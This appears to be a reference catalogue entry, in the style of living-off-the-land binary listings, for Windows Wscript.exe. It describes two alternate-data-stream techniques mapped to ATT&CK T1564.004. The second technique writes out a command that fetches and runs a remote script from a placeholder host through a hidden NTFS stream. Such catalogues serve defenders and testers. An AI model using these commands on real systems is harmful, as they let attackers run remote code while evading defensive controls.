.. /Wscript.exe
Star

Alternate data streams (WSH)

Used by Windows to execute scripts

Paths:

Resources:

Acknowledgements:

Detections:

Alternate data streams

  1. Execute script stored in an alternate data stream

    wscript //e:vbscript file.ext:script.vbs
    Use case
    Execute hidden code to evade defensive counter measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004: NTFS File Attributes
    Tags
    Execute: WSH
  2. Download and execute script stored in an alternate data stream

    echo GetObject("script:https://www.example.org/file.js") > C:\Windows\Temp\file.ext:hi.js && wscript.exe C:\Windows\Temp\file.ext:hi.js
    Use case
    Execute hidden code to evade defensive counter measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004: NTFS File Attributes